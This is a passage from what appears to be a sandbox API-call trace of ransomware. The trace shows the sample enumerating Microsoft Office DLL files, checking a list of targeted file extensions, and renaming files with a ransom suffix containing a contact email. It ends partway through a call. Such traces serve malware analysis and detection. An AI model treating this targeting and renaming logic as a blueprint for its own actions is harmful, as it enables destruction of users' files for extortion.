(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.807] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.809] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19136) returned 1 [0250.809] CloseHandle (hObject=0x45c) returned 1 [0250.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0250.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.809] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.811] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=29376) returned 1 [0250.811] CloseHandle (hObject=0x45c) returned 1 [0250.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0250.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.811] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0250.813] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=26816) returned 1 [0250.813] CloseHandle (hObject=0x450) returned 1 [0250.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0250.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.813] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.814] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=73408) returned 1 [0250.814] CloseHandle (hObject=0x45c) returned 1 [0250.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0250.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.815] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.816] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19648) returned 1 [0250.817] CloseHandle (hObject=0x45c) returned 1 [0250.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0250.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.817] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.819] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=23232) returned 1 [0250.819] CloseHandle (hObject=0x45c) returned 1 [0250.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0250.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.820] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.820] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=24768) returned 1 [0250.820] CloseHandle (hObject=0x45c) returned 1 [0250.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0250.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.821] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.822] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=24768) returned 1 [0250.822] CloseHandle (hObject=0x45c) returned 1 [0250.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0250.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.823] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.824] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=21184) returned 1 [0250.824] CloseHandle (hObject=0x45c) returned 1 [0250.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0250.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.824] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.826] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19136) returned 1 [0250.826] CloseHandle (hObject=0x45c) returned 1 [0250.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0250.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.826] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.827] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=259800) returned 1 [0250.827] CloseHandle (hObject=0x45c) returned 1 [0250.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll")) returned 0x220 [0250.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.828] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.829] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=1007320) returned 1 [0250.829] CloseHandle (hObject=0x45c) returned 1 [0250.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll")) returned 0x220 [0250.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.830] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.831] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=1832664) returned 1 [0250.831] CloseHandle (hObject=0x45c) returned 1 [0250.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll")) returned 0x220 [0250.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0250.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.831] lstrlenW (lpString=".doc") returned 4 [0250.831] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.832] lstrlenW (lpString=".docx") returned 5 [0250.832] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0250.832] lstrlenW (lpString=".pdf") returned 4 [0250.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.832] lstrlenW (lpString=".xls") returned 4 [0250.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.832] lstrlenW (lpString=".xlsx") returned 5 [0250.832] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0250.832] lstrlenW (lpString=".ppt") returned 4 [0250.832] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.832] lstrlenW (lpString=".zip") returned 4 [0250.832] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.832] lstrlenW (lpString=".rar") returned 4 [0250.832] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.832] lstrlenW (lpString=".bz2") returned 4 [0250.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.832] lstrlenW (lpString=".7z") returned 3 [0250.832] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.832] lstrlenW (lpString=".dbf") returned 4 [0250.832] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.832] lstrlenW (lpString=".1cd") returned 4 [0250.832] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.832] lstrlenW (lpString=".jpg") returned 4 [0250.832] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.833] lstrlenW (lpString=".doc") returned 4 [0250.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.833] lstrlenW (lpString=".docx") returned 5 [0250.833] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0250.833] lstrlenW (lpString=".pdf") returned 4 [0250.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.833] lstrlenW (lpString=".xls") returned 4 [0250.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.833] lstrlenW (lpString=".xlsx") returned 5 [0250.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0250.833] lstrlenW (lpString=".ppt") returned 4 [0250.833] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.833] lstrlenW (lpString=".zip") returned 4 [0250.833] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.833] lstrlenW (lpString=".rar") returned 4 [0250.833] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.833] lstrlenW (lpString=".bz2") returned 4 [0250.833] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.833] lstrlenW (lpString=".7z") returned 3 [0250.833] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.833] lstrlenW (lpString=".dbf") returned 4 [0250.833] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.833] lstrlenW (lpString=".1cd") returned 4 [0250.833] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0250.834] lstrlenW (lpString=".jpg") returned 4 [0250.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.834] lstrcmpiW (lpString1=".manifest", lpString2=".love$") returned 1 [0250.834] lstrlenW (lpString="AppVOpcServices.dll.manifest") returned 28 [0250.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.835] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=545) returned 1 [0250.835] CloseHandle (hObject=0x45c) returned 1 [0250.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 0x220 [0250.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.837] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.837] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 